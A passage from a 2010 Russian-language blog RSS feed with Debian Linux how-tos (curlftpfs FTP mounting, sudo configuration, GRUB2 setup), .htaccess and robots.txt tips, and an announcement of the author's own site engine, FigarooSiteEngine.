<pre class="brush: plain">
curlftpfs#пользователь:пароль@имя_сервера /mnt/ftp fuse rw,allow_other,user,noauto 0 0
</pre></p>
<p>или:<br />
<pre class="brush: plain">
curlftpfs#имя_сервера /mnt/ftp fuse rw,allow_other,user=пользователь:пароль,noauto 0 0
</pre></p>
<p>Но, хранить пароли в&nbsp;таком открытом виде считается плохим тоном. Поэтому, сделаем следующее.<br />
Создадим  файл <strong>.netrc</strong> в&nbsp;домашней папке пользователя root:<br />
<pre class="brush: bash">
su
gedit ~/.netrc
</pre></p>
<p>И&nbsp;добавим туда следующие строки:<br />
<pre class="brush: plain">
machine имя_сервера
login пользователь
password пароль
</pre></p>
<p>А&nbsp;в&nbsp;<em>/etc/fstab</em> пропишем следующее:<br />
<pre class="brush: plain">
curlftpfs#имя_сервера /mnt/ftp fuse rw,allow_other,user,noauto 0 0
</pre></p>
<p>Для&nbsp;того, чтобы автоматическое монтирование работало у&nbsp;обычного пользователя, необходимо выполнить следующие команды:<br />
<pre class="brush: bash">
addgroup логин_в_системе fuse
chgrp fuse /mnt/ftp
chmod g+w /mnt/ftp
</pre></p>
<p>А&nbsp;также отредактировать файл <strong>/etc/fuse.conf</strong>:<br />
<pre class="brush: bash">
su
gedit /etc/fuse.conf
</pre></p>
<p>Убрать оттуда строку (если есть):<br />
<pre class="brush: plain">
user_allow_root
</pre></p>
<p>И&nbsp;добавить строку (если&nbsp;нет):<br />
<pre class="brush: plain">
user_allow_other
</pre></p>
<p>Вот&nbsp;и&nbsp;всё.</p>
<p><div class="note"><div class="noteclassic"><br />
Стоит помнить, что&nbsp;протокол FTP не&nbsp;является безопасным, так&nbsp;как не&nbsp;шифрует передаваемые данные. Как-нибудь расскажу о&nbsp;монтировании удалённых серверов по&nbsp;безопасному протоколу SSH.<br />
</div></div></p>
<p><em>Спасибо за&nbsp;внимание.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2010/08/misc/ntfs-i-ftp-v-debian-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Включаем команду sudo в Debian Linux</title>
		<link>http://blogfigaroo.ru/2010/08/misc/sudo-v-debian-linux/</link>
		<comments>http://blogfigaroo.ru/2010/08/misc/sudo-v-debian-linux/#comments</comments>
		<pubDate>Fri, 20 Aug 2010 11:31:22 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=1472</guid>
		<description><![CDATA[Здравствуйте, дорогие читатели. Это&#160;продолжение цикла статей об&#160;установке и&#160;настройке Debian Linux на&#160;домашнем компьютере. В&#160;этой записи я&#160;расскажу о&#160;том, как&#160;включить и&#160;настроить команду sudo, а&#160;также о&#160;том, зачем это&#160;нужно. Из&#160;Википедии: sudo (англ. superuser&#160;do, дословно «выполнить от&#160;имени суперпользователя»)&#160;&#8212; это&#160;программа, разработанная в&#160;помощь системному администратору и&#160;позволяющая делегировать те&#160;или&#160;иные привилегированные ресурсы пользователям с&#160;ведением протокола работы. Основная идея&#160;&#8212; дать пользователям как&#160;можно меньше прав, но&#160;при&#160;этом ровно [...]]]></description>
			<content:encoded><![CDATA[<p>Здравствуйте, дорогие читатели. Это&nbsp;продолжение цикла статей об&nbsp;<strong>установке и&nbsp;настройке Debian Linux</strong> на&nbsp;домашнем компьютере.</p>
<p>В&nbsp;этой записи я&nbsp;расскажу о&nbsp;том, как&nbsp;включить и&nbsp;настроить <strong>команду sudo</strong>, а&nbsp;также о&nbsp;том, зачем это&nbsp;нужно.<br />
<span id="more-1472"></span></p>
<p>Из&nbsp;Википедии:</p>
<blockquote><p>sudo (англ. superuser&nbsp;do, дословно «выполнить от&nbsp;имени суперпользователя»)&nbsp;&mdash; это&nbsp;программа, разработанная в&nbsp;помощь системному администратору и&nbsp;позволяющая делегировать те&nbsp;или&nbsp;иные привилегированные ресурсы пользователям с&nbsp;ведением протокола работы. Основная идея&nbsp;&mdash; дать пользователям как&nbsp;можно меньше прав, но&nbsp;при&nbsp;этом ровно столько, сколько необходимо для&nbsp;решения поставленных задач.</p></blockquote>
<p>Простыми словами&nbsp;&mdash; данная команда позволяет <strong>выполнять другие команды от&nbsp;имени суперпользователя (root)</strong> из&nbsp;своего терминала. <strong>sudo</strong> чем-то похожа на&nbsp;<strong>su</strong>, только имеет больший функционал.</p>
<p>Чтобы <strong>начать сессию суперпользователя</strong> в&nbsp;терминале введите следующее:<br />
<pre class="brush: bash">
sudo -i
</pre></p>
<p>Аналог команды&nbsp;su. Вас&nbsp;попросят ввести ваш&nbsp;пароль (а&nbsp;в&nbsp;su нужно вводить пароль root'а).</p>
<p>Чтобы просто <strong>выполнить команду от&nbsp;имени root</strong>, не&nbsp;меняя сессии, ведите в&nbsp;терминале следующее:<br />
<pre class="brush: bash">
sudo команда
</pre></p>
<h3>Приступим к&nbsp;настройке sudo</h3>
<p>Необходимые&nbsp;нам настройки хранятся в&nbsp;файле <em>/etc/sudoers</em>, но&nbsp;редактировать его&nbsp;напрямую нельзя даже суперпользователю. Необходимо использовать утилиту <strong>visudo</strong>:<br />
<pre class="brush: bash">
su
visudo
</pre></p>
<p>При&nbsp;сохранении файл будет проверен на&nbsp;ошибки в&nbsp;синтаксисе.</p>
<p>Простейшая конфигурация такова:</p>
<p><pre class="brush: plain">
Defaults env_reset

# User privilege specification
root ALL=(ALL) ALL
user ALL=(ALL) ALL
</pre></p>
<p>Такая конфигурация дает пользователю user все&nbsp;права пользователя root при&nbsp;выполнении команды sudo.</p>
<p>Если необходимо дать права группе, а&nbsp;не&nbsp;отдельному пользователю, можно использовать следующий синтаксис:<br />
<pre class="brush: plain">
Defaults env_reset

# user host = commands
root ALL=(ALL) ALL
%admin ALL=(ALL) ALL
</pre></p>
<p>Можно настроить для&nbsp;каждого конкретного пользователя доступ только к&nbsp;конкретным командам. Например:<br />
<pre class="brush: plain">
# выполнение mount и umount пользователем user1 с любой машины
user1 ALL = /bin/mount, /bin/umount
# выполнение mount и umount пользователем user2 с машины user2-desktop
user2 user2-desktop = /bin/mount, /bin/umount
</pre></p>
<p>Для&nbsp;команд, машин и&nbsp;пользователей можно создавать альясы (объединения для&nbsp;повторного использования) и&nbsp;указывать&nbsp;их. Примеры:<br />
<pre class="brush: plain">
mycommands command_alias = command1, command2
myhosts host_alias = hostname1, hostname2
myusers user_alias = user1, user2
</pre></p>
<p>По&nbsp;умолчанию команда sudo запоминает пароли на&nbsp;5&nbsp;минут. Это&nbsp;значение можно поменять, указав директиву:<br />
<pre class="brush: plain">
Defaults:user timestamp_timeout=10
</pre></p>
<p>Вместо 10-ти можно указать&nbsp;0 (не&nbsp;запоминать пароль) или&nbsp;-1 (запоминать пароли на&nbsp;всё&nbsp;время сеанса пользователя).</p>
<p>Также можно выключить запрос пароля. Для&nbsp;этого используйте конструкцию NOPASSWD:<br />
<pre class="brush: plain">
user user-desktop = NOPASSWD: /bin/kill
</pre></p>
<p>При&nbsp;настройке sudo помните о&nbsp;безопасности.<br />
<em>Спасибо за&nbsp;внимание.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2010/08/misc/sudo-v-debian-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Странное отношение Яндекса к правилам в robots.txt</title>
		<link>http://blogfigaroo.ru/2010/08/webdev/yandex-i-robots-txt/</link>
		<comments>http://blogfigaroo.ru/2010/08/webdev/yandex-i-robots-txt/#comments</comments>
		<pubDate>Thu, 19 Aug 2010 15:39:53 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Web-разработка]]></category>
		<category><![CDATA[robots.txt]]></category>
		<category><![CDATA[Яндекс]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=1455</guid>
		<description><![CDATA[Из-за непонятных причин, Яндекс имеет свойство игнорировать директивы Dissallow в&#160;секции User-agent: * (несмотря на&#160;официальный FAQ&#160;Яндекса по&#160;robots.txt), поэтому их&#160;приходится дублировать в&#160;секции User-agent: Yandex. Кстати, для&#160;Яндекса полезно указывать дополнительные директивы Crawl-delay (частота запросов страниц сайта в&#160;сек.), Host (главное зеркало сайта) и&#160;Clean-param (не&#160;учитываемые параметры в&#160;URL'ах).]]></description>
			<content:encoded><![CDATA[<p>Из-за непонятных причин, Яндекс имеет свойство игнорировать директивы Dissallow в&nbsp;секции <strong>User-agent: *</strong> (несмотря на&nbsp;<a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Fhelp.yandex.ru%2Fwebmaster%2F%3Fid%3D996567&hash=6LYD2NMG8NK8KSSKSC0CSCG8K">официальный FAQ&nbsp;Яндекса по&nbsp;robots.txt</a>), поэтому их&nbsp;приходится дублировать в&nbsp;секции <strong>User-agent: Yandex</strong>.</p>
<p>Кстати, для&nbsp;Яндекса полезно указывать дополнительные директивы <strong>Crawl-delay</strong> (частота запросов страниц сайта в&nbsp;сек.), <strong>Host</strong> (главное зеркало сайта) и&nbsp;<strong>Clean-param</strong> (не&nbsp;учитываемые параметры в&nbsp;URL'ах).</p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2010/08/webdev/yandex-i-robots-txt/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Небольшие &#171;хаки&#187; в файле .htaccess</title>
		<link>http://blogfigaroo.ru/2010/08/webdev/htaccess-hacks/</link>
		<comments>http://blogfigaroo.ru/2010/08/webdev/htaccess-hacks/#comments</comments>
		<pubDate>Thu, 19 Aug 2010 15:32:52 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Web-разработка]]></category>
		<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[mod_rewrite]]></category>
		<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=1445</guid>
		<description><![CDATA[Здравствуйте, дорогие читатели. Прошёл сезон отпусков, теперь пора опять писать в&#160;блог. :-) Сегодня я&#160;покажу несколько полезных директив, которые вы&#160;можете прописать в&#160;файле .htaccess вашего сайта или&#160;web-приложения. Данный файл позволяет тонко настроить работу сервера Apache под&#160;свои нужды на&#160;определённом сайте или&#160;даже в&#160;определённой директории. 1. Защита системы от&#160;любопытных глаз Options -Indexes Данная директива скроет показ содержимого каталогов в&#160;случае отсутствия [...]]]></description>
			<content:encoded><![CDATA[<p>Здравствуйте, дорогие читатели.<br />
Прошёл сезон отпусков, теперь пора опять писать в&nbsp;блог. :-)</p>
<p>Сегодня я&nbsp;покажу несколько полезных директив, которые вы&nbsp;можете прописать в&nbsp;файле <a href="http://blogfigaroo.ru/2009/03/glossary/htaccess/">.htaccess</a> вашего сайта или&nbsp;web-приложения. Данный файл позволяет тонко <strong>настроить работу сервера Apache</strong> под&nbsp;свои нужды на&nbsp;определённом сайте или&nbsp;даже в&nbsp;определённой директории.</p>
<p><strong>1. Защита системы от&nbsp;любопытных глаз</strong><br />
<pre class="brush: plain">
Options -Indexes
</pre></p>
<p>Данная директива скроет показ содержимого каталогов в&nbsp;случае отсутствия индексного файла (index.php или&nbsp;index.html).</p>
<p><span id="more-1445"></span></p>
<p><strong>2. Установка индексного файла</strong><br />
<pre class="brush: plain">
DirectoryIndex index.php
</pre></p>
<p>По&nbsp;умолчанию обычно указывается несколько файлов, которые могут быть индексными. Хорошим тоном будет указание одного файла, который используется у&nbsp;вас.</p>
<p><strong>3. Отсутствующий favicon.ico</strong><br />
<pre class="brush: plain">
&lt;Files favicon.ico&gt;
	ErrorDocument 404 x
&lt;/Files&gt;
</pre></p>
<p>&laquo;Хак&raquo;, подсмотренный у&nbsp;Drupal'а. Идея в&nbsp;том, что, если у&nbsp;вас нет&nbsp;файла favicon.ico (который браузеры постоянно запрашивают), то&nbsp;будет отдаваться 1&nbsp;байт информации, а&nbsp;не&nbsp;&laquo;тяжёлая&raquo; страница с&nbsp;404-ой ошибкой.</p>
<p><strong>4. Перенаправление на&nbsp;домен без&nbsp;или&nbsp;с&nbsp;"www"</strong><br />
<pre class="brush: plain">
# перенаправление на домен без &quot;www&quot;
RewriteCond %{HTTP_HOST} ^www\.([A-Za-z0-9_.-]+)$
RewriteRule ^(.*)$ http://%1%{REQUEST_URI}$1 [R=permanent,L]
</pre></p>
<p><pre class="brush: plain">
# перенаправление на домен с &quot;www&quot;
RewriteCond %{HTTP_HOST} !^www\.([A-Za-z0-9_.-]+)$
RewriteRule ^(.*)$ http://www.%{HTTP_HOST}%{REQUEST_URI}$1 [R=permanent,L]
</pre></p>
<p>Данная директива рекомендуется для&nbsp;избежания дублирования контента (один из&nbsp;многочисленных приёмов SEO).</p>
<p><strong>5. Кодировка по&nbsp;умолчанию</strong><br />
<pre class="brush: plain">
AddDefaultCharset UTF-8
</pre></p>
<p>Указание кодировки&nbsp;&mdash; правило хорошего тона. Как&nbsp;использовать UTF-8 в&nbsp;PHP 5, читайте <a href="http://blogfigaroo.ru/2009/10/webdev/utf-8-v-php-5/" title="Работа со строками в кодировке UTF-8 в PHP 5">мою статью на&nbsp;эту&nbsp;тему</a>.</p>
<p><strong>6. Правильная отдача rar-файлов</strong><br />
<pre class="brush: plain">
AddType &quot;application/x-rar-compressed&quot; .rar
</pre></p>
<p>Чтобы RAR'ы скачивались, а&nbsp;не&nbsp;отображались кракозябами. На&nbsp;сервере необходим <strong>mod_mime</strong>.</p>
<p><strong>7. Настройки интерпретатора&nbsp;PHP</strong><br />
<pre class="brush: plain">
## Выключаем магик-квотс и глобальные переменные
php_flag magic_quotes_gpc off
php_flag magic_quotes_runtime off
php_flag register_globals off
## Запрещаем вывод ошибок PHP в браузер
php_flag display_errors off
## Настройки логгирования ошибок PHP (включается по желанию)
php_flag log_errors off
</pre></p>
<p>Полезные настройки интерпретатора&nbsp;PHP. Из&nbsp;комментариев, думаю, всё&nbsp;ясно.</p>
<p><em>Спасибо за&nbsp;внимание.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2010/08/webdev/htaccess-hacks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Установка и настройка Debian Linux на домашнем компьютере. Настраиваем загрузчик GRUB2.</title>
		<link>http://blogfigaroo.ru/2010/07/misc/debian-linux-install-part2/</link>
		<comments>http://blogfigaroo.ru/2010/07/misc/debian-linux-install-part2/#comments</comments>
		<pubDate>Sun, 04 Jul 2010 21:06:18 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=1415</guid>
		<description><![CDATA[Если Вас&#160;устраивает стандартный загрузчик GRUB, то&#160;для&#160;его&#160;настройки достаточно изучить файл /etc/grub/menu.lst. Отредактировать этот файл можно из&#160;терминала следующим образом: su gedit /etc/grub/menu.lst Или следующим: sudo gedit /etc/grub/menu.lst О включении и настройке команды sudo читайте в этой статье. После команды&#160;su необходимо ввести пароль root'а (суперпользователя). Лично мне&#160;по&#160;душе больше GRUB2. Устанавливаем&#160;его (необходимы права root'а): apt-get install grub-pc upgrade-from-grub-legacy rm [...]]]></description>
			<content:encoded><![CDATA[<p>Если Вас&nbsp;устраивает стандартный загрузчик GRUB, то&nbsp;для&nbsp;его&nbsp;настройки достаточно изучить файл <strong>/etc/grub/menu.lst</strong>. Отредактировать этот файл можно из&nbsp;терминала следующим образом:<br />
<pre class="brush: bash">
su
gedit /etc/grub/menu.lst
</pre></p>
<p>Или следующим:<br />
<pre class="brush: bash">
sudo gedit /etc/grub/menu.lst
</pre></p>
<p>О включении и настройке команды sudo читайте в <a href="http://blogfigaroo.ru/2010/08/misc/sudo-v-debian-linux/" title="Включаем команду sudo в Debian Linux">этой статье</a>.</p>
<p><div class="note"><div class="noteclassic">После команды&nbsp;<strong>su</strong> необходимо ввести пароль root'а (суперпользователя).</div></div></p>
<p>Лично мне&nbsp;по&nbsp;душе больше <a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Fru.wikibooks.org%2Fwiki%2FGrub_2&hash=DXZPMGS9OA0O4G0G0GK808CS4">GRUB2</a>. Устанавливаем&nbsp;его (необходимы права root'а):</p>
<p><span id="more-1415"></span></p>
<p><pre class="brush: bash">
apt-get install grub-pc
upgrade-from-grub-legacy
rm -f /boot/grub/menu.lst*
</pre></p>
<p>На&nbsp;вопросы отвечаем&nbsp;&laquo;да&raquo;. Далее загрузчик необходимо настроить. Основные настройки лежат в&nbsp;файле <strong>/etc/default/grub</strong> (редактируем от root'а). Пример файла ниже.<br />
<pre class="brush: bash">
# номер операционной системы (с нуля), которая будет загружаться по умолчанию
# посмотреть список систем можно в файле /boot/grub/grub.cfg
# в качестве значения можно указать слово saved, тогда при загрузке будет выбран тот пункт, который был загружен в прошлый раз
# можно также указать текстом, например, &quot;Debian GNU/Linux, linux 2.6.26-2-686&quot; (в кавычках)
GRUB_DEFAULT=0
# время в секундах, по истечении которого будет загружена система по умолчанию, если не была выбрана другая
# для бесконечного времени используете -1
GRUB_TIMEOUT=10
# параметры загрузки Linux&#039;а
GRUB_CMDLINE_LINUX_DEFAULT=&quot;splash&quot;
# прочие параметры
GRUB_DISTRIBUTOR=`lsb_release -i -s 2&gt; /dev/null || echo Debian`
GRUB_HIDDEN_TIMEOUT_QUIET=true
GRUB_CMDLINE_LINUX=&quot;&quot;
 # раскомментируйте строку ниже для текстового интерфейса загрузчика
#GRUB_TERMINAL=console
# разрешение экрана для графического загрузчика
GRUB_GFXMODE=1280x1024
</pre></p>
<p>Для&nbsp;добавления в&nbsp;GRUB системы Windows необходимо отредактировать файл <strong>/etc/grub.d/40_custom</strong>. Пример файла:<br />
<pre class="brush: bash">
#!/bin/sh
exec tail -n +3 $0
# Windows
menuentry &quot;Microsoft Windows XP&quot; {
        set root=(hd0,1)
        chainloader +1
}
</pre></p>
<p>После настройки обновляем конфигурационные файлы GRUB (необходимы права root'а) и&nbsp;перезагружаем компьютер:<br />
<pre class="brush: bash">
update-grub
reboot
</pre></p>
<p><div class="note"><div class="noteclassic">Выполнять команду <strong>update-grub</strong> надо всякий&nbsp;раз, когда вы&nbsp;меняете файл <strong>/etc/default/grub</strong> или&nbsp;файлы в&nbsp;директории <strong>/etc/grub.d/</strong>.</div></div></p>
<p>Более подробно по&nbsp;теме можно почитать <a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Fhelp.ubuntu.ru%2Fwiki%2Fgrub&hash=D6JH9RH4EW0GK8CK0KGCCOG8C">здесь</a> и&nbsp;<a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Fru.wikibooks.org%2Fwiki%2FGrub_2&hash=DXZPMGS9OA0O4G0G0GK808CS4">здесь</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2010/07/misc/debian-linux-install-part2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Установка и настройка Debian Linux на домашнем компьютере. Начало.</title>
		<link>http://blogfigaroo.ru/2010/07/misc/debian-linux-install-part1/</link>
		<comments>http://blogfigaroo.ru/2010/07/misc/debian-linux-install-part1/#comments</comments>
		<pubDate>Sun, 04 Jul 2010 21:05:32 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=1395</guid>
		<description><![CDATA[Поставил Debian Linux Lenny 5.0.5. Расскажу. Почему именно Debian? Почитать про&#160;Debian можно, например, в&#160;Википедии. Мне&#160;он&#160;понравился многим. Один из&#160;самых популярных дистрибутивов, имеет огромное количество пакетов (софта). За&#160;время использования ожидания оправдались. Удобная система, в&#160;которой, с&#160;одной стороны, есть&#160;всё, что&#160;нужно, с&#160;другой&#160;&#8212; нет&#160;перегруженности всякими свистелками и&#160;перделками, как&#160;в&#160;той&#160;же Ubuntu или&#160;Mandriva. Где&#160;взять Дебиан Линукс? Я&#160;скачал образ DVD-диска с&#160;дистрибутивом под&#160;архитектуру&#160;i386. Я&#160;уже&#160;имел опыт работы [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_1398" class="wp-caption alignright" style="width: 310px"><img src="http://blogfigaroo.ru/wp-content/uploads/2010/07/0_78f4_3d4e23da_XL-300x169.jpg" alt="0 78f4 3d4e23da XL 300x169 Установка и настройка Debian Linux на домашнем компьютере. Начало." title="Debian Linux" width="300" height="169" class="size-medium wp-image-1398" /><p class="wp-caption-text">Debian Linux</p></div>
<p>Поставил Debian Linux Lenny 5.0.5. Расскажу.</p>
<h3>Почему именно Debian?</h3>
<p>Почитать про&nbsp;Debian можно, например, в&nbsp;<a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Fru.wikipedia.org%2Fwiki%2FDebian&hash=85N60Z9ZK288G80W0O84GW0K4">Википедии</a>. Мне&nbsp;он&nbsp;понравился многим. Один из&nbsp;самых популярных дистрибутивов, имеет огромное количество пакетов (софта). За&nbsp;время использования ожидания оправдались. <strong>Удобная система</strong>, в&nbsp;которой, с&nbsp;одной стороны, есть&nbsp;всё, что&nbsp;нужно, с&nbsp;другой&nbsp;&mdash; нет&nbsp;перегруженности всякими свистелками и&nbsp;перделками, как&nbsp;в&nbsp;той&nbsp;же Ubuntu или&nbsp;Mandriva.</p>
<h3>Где&nbsp;взять Дебиан Линукс?</h3>
<p>Я&nbsp;скачал образ DVD-диска с&nbsp;дистрибутивом под&nbsp;архитектуру&nbsp;<strong>i386</strong>. Я&nbsp;уже&nbsp;имел опыт работы с&nbsp;архитектурой&nbsp;amd64 (64-битная система), но&nbsp;решил пока отказаться от&nbsp;неё. В&nbsp;принципе, не&nbsp;имеет значения. Скачать это&nbsp;дело можно на&nbsp;<a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Fwww.debian.org%2FCD%2Fhttp-ftp%2F&hash=3EKZF2JNE6CKSKK0G8WWS8WG8">www.debian.org</a>. Дальше записываем на&nbsp;DVD-R, и&nbsp;вперёд. Если DVD не&nbsp;подходит, можете спокойно брать CD-версию, только там&nbsp;предустановленных пакетов будет меньше, будете из&nbsp;сети потом выкачивать.</p>
<p><span id="more-1395"></span></p>
<h3>Установка Debian</h3>
<p>Дебиан, как&nbsp;и&nbsp;все современные операционные системы, имеет <strong>графический установщик</strong>. К&nbsp;сожалению, у&nbsp;меня в&nbsp;нём не&nbsp;заработала usb-мыша, но&nbsp;всё&nbsp;легко управляется с&nbsp;клавиатуры. Поставить Debian не&nbsp;сложнее, чем&nbsp;винду. После установки систему всё&nbsp;равно необходимо <strong>допилить и&nbsp;настроить</strong>. Об&nbsp;этом и&nbsp;пойдёт речь.</p>
<p>Первым делом, я&nbsp;обновил и&nbsp;настроил загрузчик GRUB, настроил возможность работы с&nbsp;NTFS-разделами (Windows у&nbsp;меня сохранена на&nbsp;всякий случай :-), поставил 10-ый&nbsp;FlashPlayer и&nbsp;включил команду <strong>sudo</strong>.</p>
<p>Также я&nbsp;расскажу о&nbsp;дальнейшей настройке системы, выборе и&nbsp;установке прикладных программ, а&nbsp;также о&nbsp;&laquo;поднятии&raquo; собственного web-сервера под&nbsp;Debian Linux.</p>
<p><strong>Цикл статей &laquo;Установка и&nbsp;настройка Debian Linux на&nbsp;домашнем компьютере&raquo;</strong>:</p>
<ul>
<li><a href="http://blogfigaroo.ru/2010/07/misc/debian-linux-install-part1/">Начало. Почему Debian?</a></li>
<li><a href="http://blogfigaroo.ru/2010/07/misc/debian-linux-install-part2/">Настройка загрузчика GRUB2</a></li>
<li><a href="http://blogfigaroo.ru/2010/08/misc/sudo-v-debian-linux/">Включаем команду sudo</a></li>
<li><a href="http://blogfigaroo.ru/2010/08/misc/ntfs-i-ftp-v-debian-linux/">Работа с NTFS и FTP</a></li>
<li><em>Продолжение следует...</em></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2010/07/misc/debian-linux-install-part1/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>FigarooSiteEngine</title>
		<link>http://blogfigaroo.ru/2010/06/engine/fss-begin/</link>
		<comments>http://blogfigaroo.ru/2010/06/engine/fss-begin/#comments</comments>
		<pubDate>Wed, 30 Jun 2010 11:25:32 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[FigarooSiteEngine]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=1382</guid>
		<description><![CDATA[Приветствую, дорогие читатели. Пришло время рассказать о&#160;разработке новой системы управления сайтами под&#160;пилотным названием FigarooSiteEngine. Когда-то у&#160;меня была мысль сделать свой форумный движок, потом появилась мысль сделать блоговый движок. Я&#160;начал задумываться, что&#160;было&#160;бы неплохо интегрировать их&#160;вместе, а&#160;также интегрировать блог и&#160;форум с&#160;сайтом. Тогда я&#160;начал думать над&#160;тем, чтобы сделать некий универсальный движок, чтобы иметь возможность подключения к&#160;нему разных модулей. [...]]]></description>
			<content:encoded><![CDATA[<p>Приветствую, дорогие читатели.</p>
<p>Пришло время рассказать о&nbsp;разработке новой системы управления сайтами под&nbsp;пилотным названием <strong>FigarooSiteEngine</strong>.</p>
<p>Когда-то у&nbsp;меня была мысль сделать свой форумный движок, потом появилась мысль сделать блоговый движок. Я&nbsp;начал задумываться, что&nbsp;было&nbsp;бы неплохо интегрировать их&nbsp;вместе, а&nbsp;также интегрировать блог и&nbsp;форум с&nbsp;сайтом.</p>
<p>Тогда я&nbsp;начал думать над&nbsp;тем, чтобы сделать некий универсальный движок, чтобы иметь возможность подключения к&nbsp;нему разных модулей. Так&nbsp;появилась идея FigarooSiteEngine.</p>
<h3>&mdash;&nbsp;Очередная&nbsp;CMS? Зачем?</h3>
<p>Это&nbsp;не&nbsp;совсем CMS'ка. Мы&nbsp;называем&nbsp;её <strong>система управления сайтами</strong>. Обычно, если сайт создают не&nbsp;с&nbsp;нуля, то&nbsp;используют либо систему управления содержимым (CMS), либо фреймворк (CMF). Figaroo Site Engine&nbsp;&mdash; это&nbsp;нечто среднее между системой управления содержимым и&nbsp;фреймворком.</p>
<p><strong>Фреймворки</strong> слишком низкоуровневые. Они&nbsp;<strong>гибкие</strong>, но&nbsp;слишком <strong>сложные</strong> обычному пользователю. Фреймворки созданы для&nbsp;программистов.</p>
<p><strong>CMS'ки</strong>, наоборот, <strong>простые</strong>, но&nbsp;<strong>«неповоротливые»</strong>. Если нужно что-то, отличающееся от&nbsp;встроенного функционала, придётся сильно повозиться.</p>
<p>Мы&nbsp;хотим создать систему, которая будет <strong>гибкой и&nbsp;функциональной</strong>, но&nbsp;в&nbsp;то&nbsp;же время, <strong>простой и&nbsp;лаконичной</strong>.</p>
<h3>&mdash;&nbsp;Так&nbsp;в&nbsp;чём&nbsp;же отличие Figaroo Site Engine от&nbsp;существующих систем?</h3>
<p><span id="more-1382"></span></p>
<div id="attachment_1385" class="wp-caption alignleft" style="width: 310px"><img src="http://blogfigaroo.ru/wp-content/uploads/2010/06/morozhenoe-300x300.jpg" alt="morozhenoe 300x300 FigarooSiteEngine" title="morozhenoe" width="300" height="300" class="size-medium wp-image-1385" /><p class="wp-caption-text">Картинка для привлечения внимания :-)</p></div>
<p>Мы&nbsp;хотим предложить систему, которая позволит создать как&nbsp;самый простой сайт, так&nbsp;и&nbsp;самый сложный. По&nbsp;умолчанию система включает в&nbsp;себя <strong>API</strong> для&nbsp;работы с&nbsp;<strong>иерархией страниц</strong> (как&nbsp;статичных, так&nbsp;и&nbsp;динамичных), <strong>пользователями</strong> и&nbsp;т.д. FigarooSiteEngine позволяет расширять себя за&nbsp;счёт модулей и&nbsp;плагинов, являясь золотой серединой между&nbsp;CMS и&nbsp;CMF.</p>
<p><strong>Модуль</strong>&nbsp;&mdash; это&nbsp;расширение, привязывающееся к&nbsp;определённому адресу. Например, форум или&nbsp;интернет-магазин.<br />
<strong>Плагин</strong>&nbsp;&mdash; это&nbsp;расширение готового функционала ядра или&nbsp;модулей. Наример, миничат или&nbsp;облако тэгов.</p>
<p>Вы&nbsp;сможете создать на&nbsp;системе как&nbsp;<strong>домашнюю страничку или&nbsp;блог</strong> (по&nbsp;простоте и&nbsp;функционалу превосходящий WordPress), так&nbsp;и&nbsp;<strong>полноценный мультиязычный корпоративный сайт</strong> с&nbsp;интернет-магазином (интеграция&nbsp;с&nbsp;1C, Яндекс.Маркетом, платёжными системами), множеством страниц, рекламными кампаниями, форумом и&nbsp;разделением прав пользователей. И&nbsp;всё&nbsp;это <strong>без&nbsp;специальных знаний</strong>!</p>
<p>В&nbsp;системе по&nbsp;умолчанию будут доступны управление RSS-лентами, <strong>интеграция с&nbsp;внешними сервисами</strong> (OpenID, 1C, Twitter, FaceBook, Вконтакте.ру, Яндекс.Маркет, Яндекс.Карты, Google&nbsp;API и&nbsp;др.)</p>
<p>Также, модули системы взаимосвязаны между собой. Таким образом, если человек авторизовался в&nbsp;блоге&nbsp;&mdash; он&nbsp;автоматически авторизуется и&nbsp;на&nbsp;форуме тоже.</p>
<h3>&mdash;&nbsp;Что&nbsp;ещё?</h3>
<p>Также система Figaroo Site Engine позволит изменять страницы как&nbsp;из&nbsp;«админки», так&nbsp;и&nbsp;по&nbsp;FTP.<br />
